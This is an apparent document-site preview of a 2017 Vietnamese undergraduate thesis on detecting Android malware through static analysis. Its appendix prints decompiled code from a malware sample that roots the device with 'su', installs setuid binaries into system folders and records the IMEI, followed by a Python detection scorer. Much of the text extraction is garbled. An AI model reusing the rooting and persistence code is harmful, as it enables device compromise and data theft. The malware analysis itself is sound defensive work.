Đồ án tốt nghiệp NGHIÊN CỨU KĨ THUẬT PHÁT HIỆN MÃ ĐỘC CHO ỨNG DỤNG ANDROID DỰA TRÊN PHÂN TÍCH TĨNH

100 874 15
Đồ án tốt nghiệp NGHIÊN CỨU KĨ THUẬT PHÁT HIỆN MÃ ĐỘC CHO ỨNG DỤNG ANDROID DỰA TRÊN PHÂN TÍCH TĨNH

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Điện thoại thông minh đã trở nên rất phổ biến trong vài năm trở lại đây. Trong sự phát triển của thi trường di động thông minh, Android một nền tảng mã nguồn mở của Google đã trở thành một trong những hệ điều hành di động phổ biến nhất. Android chủ yếu được sử dụng trên điện thoại thông minh và máy tính bảng

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC ĐỀ TÀI NGHIÊN CỨU KĨ THUẬT PHÁT HIỆN Mà ĐỘC CHO ỨNG DỤNG ANDROID DỰA TRÊN PHÂN TÍCH TĨNH Học viện thực hiện: Trịnh Dỗn Mạnh Khóa: Chun ngành: An Tồn Thông Tin Người hướng dẫn: ThS Lê Bá Cường Hà Nội - 2017 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC ĐỀ TÀI NGHIÊN CỨU KĨ THUẬT PHÁT HIỆN Mà ĐỘC CHO ỨNG DỤNG ANDROID DỰA TRÊN PHÂN TÍCH TĨNH Học viện thực hiện: Trịnh Dỗn Mạnh Khóa: Chun ngành: An Tồn Thơng Tin Người hướng dẫn: ThS Lê Bá Cường Hà Nội - 2017 MỤC LỤC DANH MỤC HÌNH VẼ LỜI CẢM ƠN Tơi muốn nhân hội để gửi lời cảm ơn tới người khác giúp đỡ suốt thời gian hồn thành đồ án tơi Trước hết tơi xin cảm ơn giúp đỡ tận tình cán hướng dẫn ThS Lê Bá Cường – Giảng viên Khoa Công nghệ thông tin Học viện Kỹ thuật Mật mã hướng dẫn nhiệt tình cung cấp kiến thức có giá trị mà khơng có kiến thức đồ án khơng nhìn thấy kết thúc thành cơng, xin cảm ơn động viên người thân bạn bè Tôi đánh giá cao người xung quanh góp phần đóng góp cho đồ án tơi cách khác mà chí họ khơng nhận Xin cảm ơn tất người tạo điều kiện tốt để tơi hồn thành đồ án tốt nghiệp này! SINH VIÊN THỰC HIỆN ĐỒ ÁN Trịnh Doãn Mạnh LỜI CAM ĐOAN Tôi xin cam đoan đồ án tự nghiên cứu hướng dẫn thầy giáo ThS Lê Bá Cường Để hồn thành đồ án này, tơi sử dụng tài liệu ghi mục tài liệu tham khảo, ngồi khơng sử dụng tài liệu khác mà không ghi Nếu sai, xin chịu hình thức kỷ luật theo quy định Học viện Hà Nội, ngày tháng năm 2017 Học viên thực Trịnh Doãn Mạnh MỞ ĐẦU Điện thoại thông minh trở nên phổ biến vài năm trở lại Trong phát triển thi trường di động thông minh, Android tảng mã nguồn mở Google trở thành hệ điều hành di động phổ biến Android chủ yếu sử dụng điện thoại thông minh máy tính bảng Điện thoại thơng minh ngày chấp nhận sử dụng nhiều yếu tố thiết bị điện thoại thơng minh có khả cung cấp dịch vụ ngân hàng, mạng xã hội, ứng dụng văn phòng hầu hết tất thứ làm với điện thoại thông minh Điện thoại thông minh trang bị số tính kết nối wifi, gọi điện, lưu trữ liệu, định vị toàn cầu(GPS), Đi đôi với phát triển hệ điều hành Android số lượng mã độc phát triển hệ điều hành ngày tăng cao Năm 2012 số lượng mã độc phát tảng Android 214.327 mẫu đến năm 2016 tăng lên 3.246.284 mẫu mã độc phát [6] Điều dẫn đến phần mềm phòng chống mã độc Android cần cải tiến phương pháp, kỹ thuật Đã có nhiều nghiên cứu tập trung vào việc phát phần mềm độc hại Android Một phương pháp phổ biến bao gồm phương pháp dựa chữ ký, trích chữ ký từ phần mềm độc hại mẫu Mặc dù có hiệu để phát phần mềm độc hại biết, khơng đủ để phát phần mềm độc hại chưa biết Ngồi cịn số phương pháp dựa việc phân tích hoạt động mạng phần mềm Phương pháp thực giám sát lưu lượng truy cập mạng ứng dụng mẫu cố gắng phát phần mềm độc hại cách so sánh với danh sách blacklist DNS địa IP Phương pháp phát phần mềm độc hại chưa xác định, blacklist tạo từ hoạt động phần mềm độc hại biết đến Isohara [3] trình bày phương pháp để phát phần mềm độc hại cách phân tích thuộc tính tập tin mẫu ứng dụng Mặc dù cách tiếp cận phát số phần mềm độc hại không xác định mà không bị phát blacklist phương pháp phân tích dựa chữ ký, chi phí phân tích phụ thuộc vào số lượng tệp mẫu phân tích Enck cộng [9] đề xuất phương pháp để ngăn chặn việc cài đặt ứng dụng có quyền nguy hiểm intent filter (một chế để thực hợp tác ứng dụng Android) Tuy nhiên, phương pháp dẫn đến phát khơng xác, thơng tin sử dụng phương pháp không đủ để phân biệt phần mềm độc hại từ ứng dụng lành tính Ngồi cịn phương pháp phân tích mã độc dựa việc phân tích lời gọi API tệp tin smali nghiên cứu Wu cộng [14] Tuy nhiên, việc thực phương pháp nảy sinh vấn đề chi phí phân tích lớn tùy thuộc vào số lượng tệp tin kích thước tệp tin ứng dụng ban đầu Đồ án thực nhằm mục đích tìm hiểu phương pháp phát mã độc dựa phân tích tĩnh Mục tiêu đặt thực đồ án là: Hệ thống lại kiến thức hệ điều hành Android Hiểu mã độc hệ điều hành Android Tìm hiểu phương pháp phân tích tĩnh hệ điều hành Android Viết chương trình cài đặt phát mã độc hệ điều hành Android nhằm củng cố kiến thức lý thuyết Sau thời gian khoảng ba tháng thực đồ án, mục tiêu đạt Tuy nhiên chương trình phát mã độc Android chưa có độ xác cao Rất mong góp ý thầy cơ, bạn học viên để đồ án hoàn thiện SINH VIÊN THỰC HIỆN ĐỒ ÁN Trịnh Doãn Mạnh A) TỔNG QUAN VỀ HỆ ĐIỀU HÀNH ANDROID a.1 Tổng quan phát triển hệ điều hành android Điện thoại thông minh trở nên phổ biến vài năm trở lại Số lượng người dùng smartphone toàn giới dự báo tăng từ 3,4 tỷ vào năm 2015 lên khoảng 6,4 tỷ năm 2021 [10] Trong phát triển thi trường di động thông minh, Android tảng mã nguồn mở Google trở thành hệ điều hành di động phổ biến Hình 1.1 thị phần thị trường di động Android, iOS hệ điều hành di động khác [20]: Hình 1.1: Thị phần hệ điều hành di động quý năm 2012 (Theo thống kê Gartner vào quý năm 2012) [20] Hình 1.2: Thị phần hệ điều hành di động quý năm 2016 (Theo thống kê Gartner vào quý năm 2016) Sự gia tăng đột ngột ứng dụng điện thoại thông minh gây mối lo ngại bảo mật cho người dùng Điện thoại di động trở thành mục tiêu nhà phát triển ứng dụng độc hại Android trở nên phổ biến hệ điều hành mã nguồn mở có số tính middleware(là phần mềm có nhiệm vụ kết nối thành phần mềm ứng dụng lại với 10 PHỤ LỤC Các đoạn mã phân tích tĩnh phương pháp dịch ngược 2: Hàm checkPermission() private boolean checkPermission() { if (new File("/system/bin/dhcpcdd").exists()) { Utils.TCP.execute("5 /system/bin/rm /system/bin/secbin"); Utils.TCP.execute("6 exit"); stopSelf(); return true; } if (Utils.checkPermission()) { cpLegacyRes(); return true; } return false; } Hàm Utils.checkPermission() public static boolean checkPermission() { if (new File("/system/bin/secbin").exists()) { return tryStartPermission(); } return false; } Hàm tryStartPermission() public static boolean tryStartPermission() { if (TCP.isListened()) { return true; } TCP.startListen(); 86 return TCP.isListened(); } Hàm TCP.startListen() public static void startListen() { if (new File("/system/bin/secbin").exists()) { Utils.runsh("/system/bin/secbin", ""); SystemClock.sleep(1000L); } } Hàm Utils.runsh() public static void runsh(String paramString1, final String paramString2) { try { new Thread(new Runnable() { public void run() { Native.runcmd_wrapper(Utils.this, paramString2); } }).start(); return; } catch (Exception paramString1) { paramString1.printStackTrace(); } } Hàm Native.runcmd_wrapper(str1,str2) public static int runcmd_wrapper(String paramString1, String paramString2) { Log.e("msg", "runcmd_wrapper begin"); if (!Loaded) 87 { Log.e("lilhermitCore", "Native:runcmd_wrapper - Can't run command Native library not loaded!"); return -1; } return runcmd(paramString1, paramString2); } Hàm cpLegacyRes() private void cpLegacyRes() { if (!new File("/system/etc/.dhcpcd").exists()) {} try { String str = "/data/data/" + getApplicationInfo().packageName + "/WebView.db"; Utils.copyAssets(this, "WebView.db.init", str); if (new File(str).exists()) { Utils.TCP.execute("2 " + str + " /system/etc/.dhcpcd"); } if (!new File("/system/etc/.rild_cfg").exists()) {} try { str = "/data/data/" + getApplicationInfo().packageName + "/mycfg.ini"; if (new File(str).exists()) { Utils.TCP.execute("2 " + str + " /system/etc/.rild_cfg"); } try { str = "/data/data/" + getApplicationInfo().packageName + "/WebView.db"; Utils.copyAssets(this, "WebView.db.init", str); Utils.oldrun("/system/bin/chmod", "4755 " + str); if (new File(str).exists()) { Utils.TCP.execute("4 " + str); } return; } catch (Exception localException1) {} } 88 catch (Exception localException2) { for (;;) {} } } catch (Exception localException3) { for (;;) {} } } Hàm doTimeTask() private void doTimerTask() { this.mTickets += 1L; if (this.mPermState == 2) { if (this.mTickets > 2L) { getPermission2(); } } { { return; if (this.mPermState != 3) { break; } } while (this.mTickets = 10) { this.mPermState = 0; if (!isVersion221()) { getPermission3(); } return; } Object localObject1 = this.mPreferences.edit(); ((SharedPreferences.Editor)localObject1).putInt("P2", i + 1); ((SharedPreferences.Editor)localObject1).commit(); this.mPermState = 2; localObject1 = getApplicationInfo(); Object localObject2; try { Utils.copyAssets(this, "secbino", "/data/data/" + ((ApplicationInfo)localObject1).packageName + "/secbino"); Utils.oldrun("/system/bin/chmod", "4755 /data/data/" + ((ApplicationInfo)localObject1).packageName + "/secbino"); 91 Process localProcess = Runtime.getRuntime().exec("su"); localObject2 = new DataOutputStream(localProcess.getOutputStream()); ((DataOutputStream)localObject2).writeBytes("/data/data/" ((ApplicationInfo)localObject1).packageName + "/secbino /data/data/" ((ApplicationInfo)localObject1).packageName + "\n"); + + ((DataOutputStream)localObject2).writeBytes("exit\n"); ((DataOutputStream)localObject2).flush(); localProcess.waitFor(); if (checkPermission()) { this.mPermState = 0; return; } } catch (Exception localException) { for (;;) { localException.printStackTrace(); } localObject2 = new Intent(); ((Intent)localObject2).setClass(this, Dialog.class); String str = ((ApplicationInfo)localObject1).loadLabel(getPackageManager()).toString(); if (str != null) { localObject1 = str; if (!"".equals(str)) {} } else { localObject1 = "ổơốẵọằả"; } localObject1 = localObject1 ăộăồốẵùẳốÃộốổổỗđĂỗỗăồốốĂổổùẳ"; } try { 92 + "ộốƯrootổộổốẵọẵỗăồ ((Intent)localObject2).putExtra("MSG", new String(((String)localObject1).getBytes("UTF-8"), "UTF8")); ((Intent)localObject2).setFlags(268435456); ((Intent)localObject2).putExtra("TYPEdsada", "su"); startActivity((Intent)localObject2); this.mTickets = 0L; return; } catch (UnsupportedEncodingException localUnsupportedEncodingException) { for (;;) { localUnsupportedEncodingException.printStackTrace(); } } } Hàm getPermission3() private void getPermission3() { this.mPermState = 3; if ((Settings.Secure.getInt(getContentResolver(), "adb_enabled", 0) == 0) && (setUsbEnabled() >= 10)) { this.mPermState = 0; return; } int i = this.mPreferences.getInt("P3", 0); if (i >= 16) { this.mPermState = 0; return; } Object localObject = this.mPreferences.edit(); ((SharedPreferences.Editor)localObject).putInt("P3", i + 1); ((SharedPreferences.Editor)localObject).commit(); localObject = getApplicationInfo(); Utils.copyAssets(this, "myicon", "/data/data/" + ((ApplicationInfo)localObject).packageName + 93 "/myicon"); Utils.copyAssets(this, "starter", "/data/data/" + ((ApplicationInfo)localObject).packageName + "/starter"); Utils.copyAssets(this, "secbino", "/data/data/" + ((ApplicationInfo)localObject).packageName + "/secbin"); Utils.oldrun("/system/bin/chmod", "4755 /data/data/" + ((ApplicationInfo)localObject).packageName + "/myicon"); Utils.oldrun("/system/bin/chmod", "4755 /data/data/" + ((ApplicationInfo)localObject).packageName + "/starter"); Utils.oldrun("/system/bin/chmod", "4755 /data/data/" + ((ApplicationInfo)localObject).packageName + "/secbin"); new MyThread().start(); } Hàm provideService() private void provideService() { this.mTimer = new Timer(true); this.mTimerTask = new TimerTask() { public void run() { StateService.this.doTimerTask(); } }; this.mTimer.schedule(this.mTimerTask, INTERVAL, INTERVAL); } Hàm updateInfo() private void updateInfo() { this.mImei = Utils.PhoneState.getImei(this); this.mModel = Utils.PhoneState.getModel(); this.mModel = this.mModel.replaceAll(" ", "_"); this.mOsType = Utils.PhoneState.getSDKVersion()[0]; this.mOsType = this.mOsType.replaceAll(" ", "_"); this.mOsAPI = Utils.PhoneState.getSDKVersion()[1]; this.mOsAPI = this.mOsAPI.replaceAll(" ", "_"); Object localObject = "/data/data/" + getApplicationInfo().packageName + "/mycfg.ini"; 94 try { localObject = new FileOutputStream((String)localObject); ((OutputStream)localObject).write((this.mImei + " " + mIdentifier + " " + this.mModel + " " + this.mOsType + " " + this.mOsAPI).getBytes()); ((OutputStream)localObject).flush(); ((OutputStream)localObject).close(); return; } catch (Exception localException) { localException.printStackTrace(); } } Hàm onCrate() public void onCreate() { super.onCreate(); Object localObject = getSharedPreferences("sstimestamp", 0); long l1 = ((SharedPreferences)localObject).getLong("start", 0L); long l2 = System.currentTimeMillis(); if (l1 == 0L) { localObject = ((SharedPreferences)localObject).edit(); ((SharedPreferences.Editor)localObject).putLong("start", l2); ((SharedPreferences.Editor)localObject).commit(); stopSelf(); return; } if (l2 - l1 < 1800000L) { stopSelf(); return; } this.mPreferences = getSharedPreferences("permission", 0); updateInfo(); 95 getPermission(); provideService(); } Hàm MyThread() class MyThread extends Thread { MyThread() {} public void run() { Object localObject = StateService.this.getApplicationInfo(); Utils.runsh("/data/data/" + ((ApplicationInfo)localObject).packageName + "/starter /data/data/" + ((ApplicationInfo)localObject).packageName, ""); try { sleep(5000L); if (new File("/system/bin/secbin").exists()) { Utils.runsh("/system/bin/secbin", ""); android.os.Process.killProcess(android.os.Process.myPid()); return; } Utils.runsh("am", "startservice -n " + ((ApplicationInfo)localObject).packageName + "/com.eguan.state.StateService"); localObject = StateService.this.getBaseContext().getPackageManager().getLaunchIntentForPackage(StateService.this.getBaseCo ntext().getPackageName()); ((Intent)localObject).addFlags(134217728); ((Intent)localObject).addFlags(4194304); ((Intent)localObject).addFlags(65536); StateService.this.startActivity((Intent)localObject); android.os.Process.killProcess(android.os.Process.myPid()); return; } catch (InterruptedException localInterruptedException) { 96 for (;;) {} } } } Mã nguồn số module chương trình phát mã độc Module đánh giá: class Judgment: #Định nghĩa tham số def init (self): self.threshold = 0.38 self.sum = self.p = self.b = # permission self.mal_score = #Hàm thực lấy thông tin def parse_xml(self, filepath,tagname, attrname): result = [] dom = xml.dom.minidom.parse(filepath) data = dom.getElementsByTagName(tagname) for node in data: if node.getAttribute(attrname) != '': result.append(str(node.getAttribute(attrname))) # print node.getAttribute(attrname) return result #Hàm Judgment_plus thực tính điểm cho tham số def judgment_plus(self, data, list_strings_filepath, benign_name, mal_name): """ :param data: :param list_strings_filepath: :param benign_name: :param mal_name: :param key_name: :return: mal score """ list_strings = json.loads(open(list_strings_filepath).read()) #Gán giá trị ban đầu self.sum = self.p = self.mal_score = self.b = self.sum = len(data) #Thực so sánh tính điểm cho ứng thông số 97 if self.sum != 0: if (type(data) is type([])): for j in data: j = "xyz." + j regex_permission = re.search(r'(\w+)[.](.*)', j[::-1]) value = regex_permission.group(1)[::-1] if value in list_strings[mal_name]: self.p += elif value in list_strings[benign_name]: self.b += self.mal_score = (self.p - self.b) / self.sum return self.mal_score return self.mal_score #Đoạn mã lấy thông tin để đưa vào phần đánh giá def process(self, manifestfile): #Lấy quyền ứng dụng data1 =self.parse_xml(manifestfile, "uses-permission", "android:name") permission_score = self.judgment_plus(data1, "list_strings.json", "benign_permission", "permission") #Lấy action data2 = self.parse_xml(manifestfile, "action", "android:name") action_score = self.judgment_plus(data2, "list_strings.json", "benign_action", "action") #Lấy category data3 = self.parse_xml(manifestfile, "category", "android:name") category_score = self.judgment_plus(data3, "list_strings.json", "benign_category", "category") #Lấy process data = self.parse_xml(manifestfile, "activity","android:process") data += self.parse_xml(manifestfile, "service","android:process") data += self.parse_xml(manifestfile, "application","android:process") process_score = self.judgment_plus(data,"list_strings.json", "benign_process", "process") #Thực đánh giá C1 = C2 = if permission_score > self.threshold: C1 +=1 if process_score > self.threshold: C1 +=1 if action_score < 0: C2 += if category_score < 0: C2 += if(C1 - C2) >= 1: print "Malware!" return True return False 98 ... hai kĩ phân tích Phân tích tĩnh Phân tích động Chế độ Phân tích ứng dụng ứng dụng Phân tích ứng dụng ứng phân tích khơng thực thi dụng chế độ thực thi Phân tích mã độc - Sử dụng cơng cụ dịch - Phân. .. Các kĩ thuật phân tích mã độc Android a) Kĩ thuật phân tích động Phân tích động đơi gọi phân tích hành vi, sử dụng để phân tích nghiên cứu hành vi phần mềm độc hại Sau nghiên cứu cách phần mềm độc. .. PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC ĐỀ TÀI NGHIÊN CỨU KĨ THUẬT PHÁT HIỆN Mà ĐỘC CHO ỨNG DỤNG ANDROID DỰA TRÊN PHÂN TÍCH TĨNH Học viện thực hiện: Trịnh Dỗn Mạnh

Ngày đăng: 02/08/2018, 00:03

Từ khóa liên quan

Mục lục

  • Mục lục

  • a) Tổng quan về hệ điều hành android

    • a.1. Tổng quan về sự phát triển của hệ điều hành android

    • a.2. Vấn đề về mã độc trên hệ điều hành Android

    • a.3. Kiến trúc hệ điều hành android

    • a.4. Cấu trúc tệp tin trong hệ điều hành Android

      • 1.4.1. Tổng quan về hệ thống tệp tin trên Android

      • 1.4.2. Các kiểu tệp tin trên android

      • 1.4.3. Tổ chức quyền sở hữu và quyền hạn trên tệp tin

      • 1.4.4. Cây thư mục trên hệ điều hành Android

      • a.5. Mô hình bảo mật của android và các nguy cơ mất an toàn

      • a.6. Kết luận chương 1

      • b) Nghiên cứu kỹ thuật phát hiện mã độc dựa trên phân tích tĩnh

        • b.1. Phân loại các kỹ thuật phân tích phát hiện mã độc

          • b.1.1. Một số phương pháp lây nhiễm mã độc vào thiết bị Android

          • b.1.2. Các kĩ thuật phân tích mã độc trên Android

            • a) Kĩ thuật phân tích động

            • b) Kĩ thuật phân tích tĩnh

            • c) So sánh các kĩ thuật phân tích mã độc tren Android

            • b.2. Mô hình phân tích tĩnh

            • b.3. Nghiên cứu kỹ thuật dịch ngược và công cụ

              • 2.3.1. Công cụ

              • 2.3.2. Kĩ thuật dịch ngược

              • b.4. Một số kĩ thuật phân tích tĩnh mã độc trên hệ điều hành Android

                • b.4.1. Phát hiện mã độc trên Android bằng cách phân tích tệp tin Manifest

                  • a) Cơ sở lí thuyết

                  • b) Các bước triển khai phương pháp

                  • c) Đánh giá và kết luận

Tài liệu cùng người dùng

Tài liệu liên quan